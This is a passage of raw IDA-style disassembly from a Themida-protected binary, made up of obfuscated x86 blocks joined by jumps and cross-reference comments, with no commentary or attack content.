		pop	edx
		jmp	loc_59FCC8
; ---------------------------------------------------------------------------


loc_5A7F22:				; CODE XREF: Themida_:005AE893j
		jmp	loc_59CF3D
; ---------------------------------------------------------------------------


loc_5A7F27:				; CODE XREF: Themida_:0059F58Fj
		mov	edi, 4F3577C4h
		shr	edi, 6
		sub	edi, 12C655B5h
		push	ebx
		mov	ebx, 6CD2283Dh
		jmp	loc_5A74D3
; ---------------------------------------------------------------------------


loc_5A7F40:				; CODE XREF: Themida_:005AD41Dj
		inc	ebp
		jmp	loc_5A326C
; ---------------------------------------------------------------------------


loc_5A7F46:				; CODE XREF: Themida_:005A3A82j
					; Themida_:005A45DBj
		mov	edx, 31795468h
		neg	edx
		not	edx
		jmp	loc_5ACFBE
; ---------------------------------------------------------------------------


loc_5A7F54:				; CODE XREF: Themida_:005A3087j
		push	esi
		mov	esi, 3F891CAFh
		xor	[esp+4], esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 43883B39h
		sub	eax, 3FF1E8Ah
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	1F71h
		jmp	loc_598C55
; ---------------------------------------------------------------------------


loc_5A7F92:				; CODE XREF: Themida_:0059BECAj
		add	al, dl
		jmp	loc_598C05
; ---------------------------------------------------------------------------


loc_5A7F99:				; CODE XREF: Themida_:005AD341j
		jmp	loc_5A6489
; ---------------------------------------------------------------------------


loc_5A7F9E:				; CODE XREF: Themida_:005A1279j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_5A891F
; ---------------------------------------------------------------------------


loc_5A7FB2:				; CODE XREF: Themida_:0059C184j
		pop	edx
		jmp	loc_5A33EE
; ---------------------------------------------------------------------------


loc_5A7FB8:				; CODE XREF: Themida_:005AFB9Dj
		push	227Bh
		jmp	loc_5A510F
; ---------------------------------------------------------------------------


loc_5A7FC2:				; CODE XREF: Themida_:00598D43j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5AB256
; ---------------------------------------------------------------------------


loc_5A7FCD:				; CODE XREF: Themida_:005A329Ej
		and	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A07C8
; ---------------------------------------------------------------------------


loc_5A7FE0:				; CODE XREF: Themida_:0059B924j
					; Themida_:005A235Dj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A7FE5:				; CODE XREF: Themida_:005AC0FFj
		mov	ch, 4Bh
		shr	ch, 8
		jmp	loc_59905E
; ---------------------------------------------------------------------------


loc_5A7FEF:				; CODE XREF: Themida_:0059D04Fj
		add	eax, edi
		push	ebx
		jmp	loc_59B0A4
; ---------------------------------------------------------------------------


loc_5A7FF7:				; CODE XREF: Themida_:005A7184j
		mov	ah, 0Fh
		mov	bl, ah
		pop	eax
		shl	bl, 2
		jnp	loc_5A5524
		push	eax
		jmp	loc_5A3F38
; ---------------------------------------------------------------------------


loc_5A800B:				; CODE XREF: Themida_:005A3E59j
		pop	ecx
		jmp	loc_5A3D58
; ---------------------------------------------------------------------------


loc_5A8011:				; CODE XREF: Themida_:005A4A5Cj
		mov	cl, ah
		jmp	loc_59CAB4
; ---------------------------------------------------------------------------


loc_5A8018:				; CODE XREF: Themida_:005A77B9j
		shl	edx, 1
		jmp	loc_5AE286
; ---------------------------------------------------------------------------


loc_5A801F:				; CODE XREF: Themida_:005A1C83j
					; Themida_:005ABD34j
		sub	esp, 4
		jmp	loc_5AFB86
; ---------------------------------------------------------------------------


loc_5A8027:				; CODE XREF: Themida_:005A8F07j
		mov	ecx, 29C36638h
		not	ecx
		add	ecx, 7D4F67E0h
		or	ecx, 451E63E0h
		and	ecx, 0E370DCCh
		shl	ecx, 8
		jmp	loc_5AB5A1
; ---------------------------------------------------------------------------


loc_5A8048:				; CODE XREF: Themida_:005AC8D8j
		mov	[esp], si
		jmp	loc_5AE7A6
; ---------------------------------------------------------------------------


loc_5A8051:				; CODE XREF: Themida_:005A11EBj
		push	ax
		mov	ah, 92h
		jmp	loc_5A36FF
; ---------------------------------------------------------------------------


loc_5A805A:				; CODE XREF: Themida_:005AF668j
		mov	al, 92h
		jmp	loc_5ACBE3
; ---------------------------------------------------------------------------


loc_5A8061:				; CODE XREF: Themida_:005A302Ej
		neg	ebp
		xchg	ebp, esi
		push	edx
		mov	edx, 0BC388601h
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5A6036
; ---------------------------------------------------------------------------


loc_5A8090:				; CODE XREF: Themida_:005ADFAAj
		add	ecx, edx
		jmp	loc_5A48C1
; ---------------------------------------------------------------------------


loc_5A8097:				; CODE XREF: Themida_:005A2A4Bj
		sub	[esp+2], dl
		pop	dx
		mov	ch, [esp]
		add	esp, 2
		add	ch, 6Ah
		push	bx
		mov	bh, 81h
		jmp	loc_59C96F
; ---------------------------------------------------------------------------


loc_5A80AF:				; CODE XREF: Themida_:0059A996j
		mov	eax, 5C5C53DAh
		and	edi, eax
		pop	eax
		not	edi
		jmp	loc_5AA687
; ---------------------------------------------------------------------------


loc_5A80BE:				; CODE XREF: Themida_:005A214Ej
		mov	edi, ecx
		pop	ecx
		push	eax
		jmp	loc_5A971C
; ---------------------------------------------------------------------------


loc_5A80C7:				; CODE XREF: Themida_:005A37DBj
		shl	ch, 8
		js	loc_5A9FCF
		inc	ch
		add	ch, 0C1h
		mov	dl, ch
		mov	ecx, [esp]
		jmp	loc_5A01EE
; ---------------------------------------------------------------------------


loc_5A80DF:				; CODE XREF: Themida_:0059A404j
		mov	edi, 71FEBFBh
		sub	eax, edi
		pop	edi
		jmp	loc_59955B
; ---------------------------------------------------------------------------


loc_5A80EC:				; CODE XREF: Themida_:0059F5D3j
		pop	ebp
		mov	edx, esi
		pop	esi
		sub	ebx, 242F4F00h
		sub	ebx, edx
		add	ebx, 242F4F00h
		pop	edx
		add	ebx, 49B36512h
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5AC91A
; ---------------------------------------------------------------------------


loc_5A811A:				; CODE XREF: Themida_:005995FAj
		or	bl, 95h
		jno	loc_59B49F
		push	dx
		mov	dl, 0EEh
		xor	bl, dl
		pop	dx
		xor	bh, 46h


loc_5A812E:				; CODE XREF: Themida_:005AD89Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, 20CFEA06h
		add	edx, edi
		jmp	loc_5A200C
; ---------------------------------------------------------------------------


loc_5A8144:				; CODE XREF: Themida_:0059EBBEj
		add	eax, edx
		pop	edx
		jmp	loc_59C174
; ---------------------------------------------------------------------------


loc_5A814C:				; CODE XREF: Themida_:0059BAE3j
		push	7908h
		mov	[esp], ebx
		mov	ebx, 5BE04609h
		shl	ebx, 2
		shr	ebx, 5
		jmp	loc_59D2AB
; ---------------------------------------------------------------------------


loc_5A8164:				; CODE XREF: Themida_:005AC3A6j
		add	edx, 6D4F1B36h
		add	edx, esi
		sub	edx, 6D4F1B36h
		pop	esi
		jmp	loc_5A2615
; ---------------------------------------------------------------------------


loc_5A8178:				; CODE XREF: Themida_:0059AAE5j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A817D:				; CODE XREF: Themida_:005A13D1j
		add	ecx, 0E4AAD8D8h
		sub	edi, 5C3C73F9h
		sub	edi, ecx
		add	edi, 5C3C73F9h
		pop	ecx
		push	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A4170
; ---------------------------------------------------------------------------


loc_5A81A1:				; CODE XREF: Themida_:005AAD74j
		inc	ebp
		xor	ebp, 36297F7Ch
		xor	ebp, 0CCF0F770h
		add	ecx, ebp
		pop	ebp
		and	ecx, 58581B01h
		add	ecx, 1F515DB3h
		xor	ecx, 40D01B16h
		push	eax
		mov	eax, 0B43A0BB9h
		sub	ecx, eax
		pop	eax
		sub	edx, 45EC119Ah
		sub	edx, ecx
		push	ecx
		jmp	loc_59E35F
; ---------------------------------------------------------------------------


loc_5A81DA:				; CODE XREF: Themida_:005AB4BAj
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 3ACB1718h
		push	9D5h
		mov	[esp], esi
		mov	esi, 5A0E677Eh
		add	esi, 82B5FD95h
		push	esi
		sub	dword ptr [esp], 70271F09h
		pop	ecx
		jmp	loc_5ADFA3
; ---------------------------------------------------------------------------


loc_5A8213:				; DATA XREF: Themida_:0059874Co
		lodsd
		xor	eax, ebx
		jmp	loc_59C44B
; ---------------------------------------------------------------------------


loc_5A821B:				; CODE XREF: Themida_:0059EED9j
		push	ecx
		mov	ecx, esp
		jmp	loc_5A53A7
; ---------------------------------------------------------------------------


loc_5A8223:				; CODE XREF: Themida_:005A1E9Aj
		sub	ecx, 0B363A00h
		sub	ecx, ebx
		add	ecx, 0B363A00h
		pop	ebx
		dec	ecx
		add	ecx, 32D215E7h
		sub	eax, 24C66799h
		jmp	loc_59F836
; ---------------------------------------------------------------------------


loc_5A8243:				; CODE XREF: Themida_:005ABEA0j
		rep movsd
		add	esp, [edx+38h]
		push	ebx
		push	3AA1h
		mov	[esp], ecx
		push	4B9146FBh
		pop	ecx
		xor	ecx, 3E6C5EB6h
		xor	ecx, 26FC7403h
		push	eax
		jmp	loc_5A9928
; ---------------------------------------------------------------------------


loc_5A8269:				; CODE XREF: Themida_:005AEFB9j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5A272F
; ---------------------------------------------------------------------------


loc_5A8273:				; CODE XREF: Themida_:loc_5A9112j
		xor	ebp, 3840200Ch
		jp	loc_5A4AB9
		inc	ebp
		jmp	loc_5A325F
; ---------------------------------------------------------------------------
		add	ecx, edi
		sub	ecx, 364136E6h
		pop	ebx


loc_5A828E:				; CODE XREF: Themida_:0059D7ACj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5A2844
; ---------------------------------------------------------------------------


loc_5A829D:				; CODE XREF: Themida_:005A7314j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 58706B83h
		neg	esi
		sub	esi, 91191D2Eh
		push	edi
		mov	edi, 1676774Bh
		sub	esi, edi
		pop	edi
		sub	eax, 42A572C8h
		add	eax, esi
		add	eax, 42A572C8h
		jmp	loc_59AD88
; ---------------------------------------------------------------------------


loc_5A82D7:				; CODE XREF: Themida_:005A2E7Ej
		xor	ecx, 1C9F53E8h
		jmp	loc_59E986
; ---------------------------------------------------------------------------


loc_5A82E2:				; CODE XREF: Themida_:005A7649j
		neg	ecx
		jmp	loc_5AAEB1
; ---------------------------------------------------------------------------


loc_5A82E9:				; CODE XREF: Themida_:0059985Ej
		pop	edi
		jmp	loc_59B843
; ---------------------------------------------------------------------------


loc_5A82EF:				; CODE XREF: Themida_:005AA8E7j
		pop	edx
		mov	[ebx], cl
		mov	ecx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A831E:				; CODE XREF: Themida_:0059D9B2j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_598C18
; ---------------------------------------------------------------------------


loc_5A8332:				; CODE XREF: Themida_:005A7842j
		sub	esi, ebp
		pop	ebp
		sub	esi, 7C546BCCh
		add	esi, edx
		add	esi, 7C546BCCh
		add	esi, 305B7678h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A02AF
; ---------------------------------------------------------------------------


loc_5A8355:				; CODE XREF: Themida_:0059B376j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 0A2h
		not	bh
		add	bh, 51h
		add	al, bh
		pop	ebx
		add	al, 3Fh
		jmp	loc_5ABD39
; ---------------------------------------------------------------------------


loc_5A836F:				; CODE XREF: Themida_:005A3075j
		or	ebp, 738A53AEh
		jmp	loc_5AD9B3
; ---------------------------------------------------------------------------


loc_5A837A:				; CODE XREF: Themida_:0059E10Ej
		push	ebx
		mov	ebx, 4D1B3ED5h
		add	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_5A09C9
; ---------------------------------------------------------------------------


loc_5A8389:				; CODE XREF: Themida_:005A9AA7j
		and	dx, 0A64h
		sub	esp, 2
		mov	[esp], ax
		mov	ax, 50D2h
		push	2986h
		mov	[esp], ebp
		mov	bp, 0F2h
		sub	bp, 1345h
		or	bp, 2D4Ah
		add	bp, 7C1Fh
		add	bp, 0DF3Bh
		add	dx, 41B4h
		add	dx, bp
		sub	dx, 41B4h
		pop	ebp
		add	dx, ax
		jmp	loc_5A11B2
; ---------------------------------------------------------------------------


loc_5A83CF:				; CODE XREF: Themida_:005AF3CDj
		mov	[esp], eax
		mov	eax, 7E095FE9h
		inc	eax
		or	eax, 719977B7h
		jmp	loc_5A7C30
; ---------------------------------------------------------------------------


loc_5A83E2:				; CODE XREF: Themida_:loc_59A356j
		inc	edi
		jle	loc_599856
		xor	edi, 4CB74890h
		mov	ecx, edi
		jmp	loc_5A3865
; ---------------------------------------------------------------------------


loc_5A83F6:				; CODE XREF: Themida_:005ADB97j
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_598BC6
; ---------------------------------------------------------------------------


loc_5A8406:				; CODE XREF: Themida_:005A697Cj
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_5A663B
; ---------------------------------------------------------------------------


loc_5A8417:				; CODE XREF: Themida_:0059B8F8j
		pop	edi
		shr	esi, 6
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	esi, ecx
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5A319A
; ---------------------------------------------------------------------------


loc_5A8442:				; CODE XREF: Themida_:005A0204j
		xor	edx, 77D28D37h
		push	esi
		mov	esi, edx
		jmp	loc_5A1F1A
; ---------------------------------------------------------------------------


loc_5A8450:				; CODE XREF: Themida_:005A3D9Dj
		sub	[esp+4], ecx
		jmp	loc_5A765E
; ---------------------------------------------------------------------------


loc_5A8459:				; CODE XREF: Themida_:005AC1ECj
		xor	ebx, 73DA5DECh
		jl	loc_5ACBC4
		push	edi
		jmp	loc_59D351
; ---------------------------------------------------------------------------
		mov	ebp, [esp]
		mov	dh, 0C0h


loc_5A8471:				; CODE XREF: Themida_:005ADEEAj
		sub	ecx, 37BE16E7h
		or	ecx, 18961EEh
		or	ecx, 2EBB7F5Dh
		jmp	loc_5AC64A
; ---------------------------------------------------------------------------


loc_5A8488:				; CODE XREF: Themida_:005A9C49j
		not	ebp
		xor	ebp, 3BE66E6Ah
		sub	ebp, 3D9EF6FDh
		mov	edx, ebp
		pop	ebp
		jmp	loc_5994AE
; ---------------------------------------------------------------------------


loc_5A849E:				; CODE XREF: Themida_:005A8A96j
		shl	dword ptr [edx+38h], 5
		jmp	loc_5AD346
; ---------------------------------------------------------------------------


loc_5A84A7:				; CODE XREF: Themida_:005A94CEj
		push	eax
		push	922h
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4E8A28E9h
		sub	ebp, 2AF26C9Bh
		jp	loc_59DBA5
		jmp	loc_5AAEB1
; ---------------------------------------------------------------------------
		dec	esi
		shr	esi, 7
		mov	ebp, edi


loc_5A84D9:				; CODE XREF: Themida_:005A8566j
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5A9930
; ---------------------------------------------------------------------------


loc_5A84E8:				; CODE XREF: Themida_:005A3F50j
		mov	edx, [esp]
		push	esi
		jmp	loc_59E381
; ---------------------------------------------------------------------------


loc_5A84F1:				; CODE XREF: Themida_:005A6243j
		shr	eax, 2
		jmp	loc_59EF64
; ---------------------------------------------------------------------------


loc_5A84F9:				; CODE XREF: Themida_:005A1C9Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	80h
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59AE9E
; ---------------------------------------------------------------------------


loc_5A851B:				; CODE XREF: Themida_:005A7D46j
		pop	edi
		not	edi
		shl	edi, 4
		xor	edi, 2F9853D1h
		mov	edx, edi
		pop	edi
		mov	edi, 3C200413h
		sub	edi, 67CE228Dh
		jmp	loc_5AC728
; ---------------------------------------------------------------------------


loc_5A853A:				; CODE XREF: Themida_:0059A097j
		push	edx
		push	5691F604h
		pop	edx
		xor	ebx, edx
		jmp	loc_5AECF3
; ---------------------------------------------------------------------------


loc_5A8548:				; CODE XREF: Themida_:005A2C15j
		xor	ebx, 998AEF4Dh
		mov	ebp, ebx
		pop	ebx
		add	ebp, 7B151F88h
		not	ebp
		push	0
		jmp	loc_5A17AC
; ---------------------------------------------------------------------------


loc_5A8563:				; CODE XREF: Themida_:0059E608j
		pop	ecx
		sub	ebx, edx
		jmp	loc_5A84D9
; ---------------------------------------------------------------------------


loc_5A856B:				; CODE XREF: Themida_:00598FAAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AF8E2
; ---------------------------------------------------------------------------


loc_5A8579:				; CODE XREF: Themida_:005A894Aj
					; Themida_:005AD9AEj
		add	edi, esi
		pop	esi
		jmp	loc_59BDCC
; ---------------------------------------------------------------------------


loc_5A8581:				; CODE XREF: Themida_:005A424Aj
		push	7493h
		mov	[esp], eax
		mov	eax, esp
		push	2B00h
		mov	[esp], ebx
		mov	ebx, 25D0578Dh
		jmp	loc_5AB0CC
; ---------------------------------------------------------------------------


loc_5A859D:				; CODE XREF: Themida_:005A16ABj
		mov	ecx, ebx
		pop	ebx
		or	ecx, 339E56A4h
		sub	ecx, 156A4AF9h
		and	ecx, 6F3D5D42h
		jp	loc_59E47E
		add	ecx, 99EBEEC4h
		jmp	loc_59EF59
; ---------------------------------------------------------------------------


loc_5A85C3:				; CODE XREF: Themida_:005A87C9j
		mov	esp, [esp]
		jmp	loc_599F7A
; ---------------------------------------------------------------------------


loc_5A85CB:				; CODE XREF: Themida_:005AEEE0j
		add	dword ptr [esp], 72DD7DABh
		pop	ebp
		sub	ebp, 72DD7DABh
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4CB07523h
		xor	ebp, ebx
		pop	ebx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	eax
		push	6BE6h
		mov	[esp], esi
		mov	esi, 433659A2h
		inc	esi
		jnp	loc_59BA5E
		shr	esi, 4
		jmp	loc_5A11A1
; ---------------------------------------------------------------------------


loc_5A860A:				; CODE XREF: Themida_:00598D14j
		add	ebx, edi
		add	ebx, 1C691E58h
		jmp	loc_5AC70A
; ---------------------------------------------------------------------------


loc_5A8617:				; CODE XREF: Themida_:00598F29j
					; Themida_:005A5CF0j
		push	dword ptr [esp+4]
		jmp	loc_5A664D
; ---------------------------------------------------------------------------


loc_5A8620:				; CODE XREF: Themida_:005A555Aj
		xor	eax, 0BC23A9h
		jmp	loc_59E083
; ---------------------------------------------------------------------------


loc_5A862A:				; CODE XREF: Themida_:005A8C96j
		sub	edi, 348D12E4h
		add	edi, ebp
		add	edi, 348D12E4h
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_59C30E
; ---------------------------------------------------------------------------


loc_5A864B:				; CODE XREF: Themida_:005A33AEj
		mov	edx, esp
		jmp	loc_5A5962
; ---------------------------------------------------------------------------


loc_5A8652:				; DATA XREF: Themida_:005986F0o
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5998D2
; ---------------------------------------------------------------------------


loc_5A8664:				; CODE XREF: Themida_:005AB0B6j
		push	esi
		mov	esi, 33495B20h
		jmp	loc_5A884C
; ---------------------------------------------------------------------------


loc_5A866F:				; CODE XREF: Themida_:0059E6D2j
		pop	esp
		add	edi, ecx
		push	1060h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	40A8h
		mov	[esp], eax
		jmp	loc_5A8D77
; ---------------------------------------------------------------------------


loc_5A8698:				; CODE XREF: Themida_:005A0C0Bj
					; Themida_:005AAB52j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A35BC
; ---------------------------------------------------------------------------


loc_5A86A3:				; CODE XREF: Themida_:0059993Aj
		dec	edx
		jnz	loc_59DAC5
		dec	edx
		add	edx, 0DE34BAFAh
		mov	eax, 0BBD040Fh


loc_5A86B6:				; CODE XREF: Themida_:005A5F14j
		mov	esi, 1E075B47h
		jmp	loc_5ADC6D
; ---------------------------------------------------------------------------


loc_5A86C0:				; CODE XREF: Themida_:005A498Ej
		push	edi
		jmp	loc_5AEBC4
; ---------------------------------------------------------------------------


loc_5A86C6:				; CODE XREF: Themida_:005AFB56j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59C6E7
; ---------------------------------------------------------------------------


loc_5A86D7:				; CODE XREF: Themida_:0059ED0Ej
		add	ebx, 1D175831h
		add	ebx, 3BA31BD9h
		sub	ebx, ebp
		jmp	loc_59FB0C
; ---------------------------------------------------------------------------


loc_5A86EA:				; CODE XREF: Themida_:005A0DFDj
		mov	[esp], eax
		xchg	edi, [esp]
		push	edi
		jmp	loc_5AF458
; ---------------------------------------------------------------------------


loc_5A86F6:				; CODE XREF: Themida_:005A0CD6j
		xchg	edx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 23FE5683h
		add	ebp, 6FFC765Dh
		or	ebp, 252E29h
		shr	ebp, 4
		jnp	loc_5A9112
		jmp	loc_5AEC14
; ---------------------------------------------------------------------------


loc_5A871E:				; CODE XREF: Themida_:005A9AB7j
		and	edi, 71331206h
		sub	edi, 46ADDB31h
		sub	ecx, 613246D4h
		sub	ecx, edi
		add	ecx, 613246D4h
		pop	edi
		push	edx
		mov	edx, 0ED2333EBh
		jmp	loc_5A778A
; ---------------------------------------------------------------------------


loc_5A8744:				; CODE XREF: Themida_:005A63BCj
		sub	ebx, 0D582F830h
		and	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	756Ch
		mov	[esp], ecx
		mov	ecx, 562C6ADAh
		xor	edx, ecx
		jmp	loc_5ABD78
; ---------------------------------------------------------------------------


loc_5A8769:				; CODE XREF: Themida_:0059C11Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_59DB9D
		push	dword ptr [edi+28h]
		push	eax
		push	0B60h
		jmp	loc_5A4266
; ---------------------------------------------------------------------------


loc_5A87A2:				; CODE XREF: Themida_:005A56FAj
		add	esi, 1
		push	edi
		mov	edi, 0B0391DCFh
		sub	esi, edi
		pop	edi
		jmp	loc_59A93C
; ---------------------------------------------------------------------------


loc_5A87B6:				; CODE XREF: Themida_:005A5E35j
					; Themida_:005AF00Bj
		pop	eax
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A85C3
; ---------------------------------------------------------------------------


loc_5A87CE:				; CODE XREF: Themida_:005AE11Bj
		jnp	loc_5AFB0F
		jmp	loc_59B164
; ---------------------------------------------------------------------------
		pop	esi
		sub	esp, 4
		jmp	loc_59F6A0
; ---------------------------------------------------------------------------


loc_5A87E2:				; CODE XREF: Themida_:005AE73Aj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A7919
; ---------------------------------------------------------------------------


loc_5A87F0:				; CODE XREF: Themida_:005AF7D6j
		pop	esp
		add	edx, 198D4A71h
		jmp	loc_5AE9B5
; ---------------------------------------------------------------------------


loc_5A87FC:				; CODE XREF: Themida_:005A5708j
		mov	edi, 6F97239Fh
		push	ebx
		jmp	loc_59A4B7
; ---------------------------------------------------------------------------


loc_5A8807:				; CODE XREF: Themida_:005ACAB3j
		pop	ebx
		sub	eax, 63FA393Eh
		sub	eax, ecx
		add	eax, 63FA393Eh
		jmp	loc_5A1F4B
; ---------------------------------------------------------------------------


loc_5A8819:				; CODE XREF: Themida_:0059999Ej
		add	ebx, esi
		jmp	loc_5AA8EC
; ---------------------------------------------------------------------------


loc_5A8820:				; CODE XREF: Themida_:005A428Ej
		push	esi
		mov	esi, 500D0F58h
		sub	esp, 4
		jmp	loc_5A9F6C
; ---------------------------------------------------------------------------


loc_5A882E:				; CODE XREF: Themida_:005A8EA3j
		xor	ecx, edi
		pop	edi
		push	edx
		mov	edx, 2CEB29FAh
		sub	eax, edx
		jmp	loc_5A2981
; ---------------------------------------------------------------------------


loc_5A883E:				; CODE XREF: Themida_:0059ABBFj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59D9B7
; ---------------------------------------------------------------------------


loc_5A884C:				; CODE XREF: Themida_:005A866Aj
		xor	esi, 0B4F227Bh
		or	esi, 2D1E3EBBh
		jmp	loc_5ACDCF
; ---------------------------------------------------------------------------


loc_5A885D:				; CODE XREF: Themida_:0059BFA6j
		mov	[esp], eax
		push	edi
		push	ebp
		mov	ebp, 30DE2F49h
		jmp	loc_59EDAC
; ---------------------------------------------------------------------------


loc_5A886C:				; CODE XREF: Themida_:0059961Bj
		push	6B93h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4F921EF1h
		jmp	loc_5A7E05
; ---------------------------------------------------------------------------


loc_5A8881:				; DATA XREF: Themida_:0059882Co
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	5AA5h
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, 96B6E09h
		add	eax, ebx
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 633764Eh
		mov	edi, 50B8E150h
		sub	edi, eax
		pop	eax
		xor	edi, 43EE050Bh
		sub	eax, 58576824h
		add	eax, edi
		push	esi
		jmp	loc_59B427
; ---------------------------------------------------------------------------


loc_5A88D0:				; CODE XREF: Themida_:005A194Fj
		sub	ecx, 0C1910FB7h
		jmp	loc_5A9E95
; ---------------------------------------------------------------------------


loc_5A88DB:				; CODE XREF: Themida_:005A5A8Bj
					; Themida_:005A796Fj
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 2
		mov	ebx, ebp
		jmp	loc_5A8AE0
; ---------------------------------------------------------------------------


loc_5A88EC:				; CODE XREF: Themida_:005AFB18j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5A6D48
; ---------------------------------------------------------------------------


loc_5A88FB:				; CODE XREF: Themida_:005AC224j
		push	cx
		pushf
		jmp	loc_5AE1B3
; ---------------------------------------------------------------------------


loc_5A8903:				; CODE XREF: Themida_:loc_5AD280j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5F3B31CAh
		shl	eax, 1
		jmp	loc_5A8DA2
; ---------------------------------------------------------------------------


loc_5A8915:				; CODE XREF: Themida_:0059F9DBj
		push	2E7Fh
		jmp	loc_5A466C
; ---------------------------------------------------------------------------


loc_5A891F:				; CODE XREF: Themida_:005A7FADj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	1DECh
		mov	[esp], ebx
		push	esp
		jmp	loc_5991AE
; ---------------------------------------------------------------------------


loc_5A8939:				; CODE XREF: Themida_:005AB78Fj
		xor	cl, dh
		xor	dh, cl
		jmp	loc_5A6C8E
; ---------------------------------------------------------------------------


loc_5A8942:				; CODE XREF: Themida_:0059ED4Bj
		sub	esi, ebp
		pop	ebp
		mov	edi, 0E0D7FFF7h
		jmp	loc_5A8579
; ---------------------------------------------------------------------------


loc_5A894F:				; CODE XREF: Themida_:0059D5EFj
		inc	ebp
		add	ebp, 0D648FBC7h
		xor	edx, ebp
		jmp	loc_59E42C
; ---------------------------------------------------------------------------


loc_5A895D:				; CODE XREF: Themida_:005AC0D7j
		mov	dh, 7Fh
		jmp	loc_5A1FCA
; ---------------------------------------------------------------------------


loc_5A8964:				; CODE XREF: Themida_:0059E3A3j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59F5FD
; ---------------------------------------------------------------------------


loc_5A897E:				; CODE XREF: Themida_:005A394Ej
		mov	edx, 34CE41F2h
		add	ebx, edx
		pop	edx
		push	1B7Eh
		mov	[esp], ecx
		jmp	loc_5AA8D6
; ---------------------------------------------------------------------------


loc_5A8993:				; CODE XREF: Themida_:005A97FFj
		push	edi
		mov	edi, 535A3417h
		jmp	loc_5A30D9
; ---------------------------------------------------------------------------


loc_5A899E:				; CODE XREF: Themida_:005AECD2j
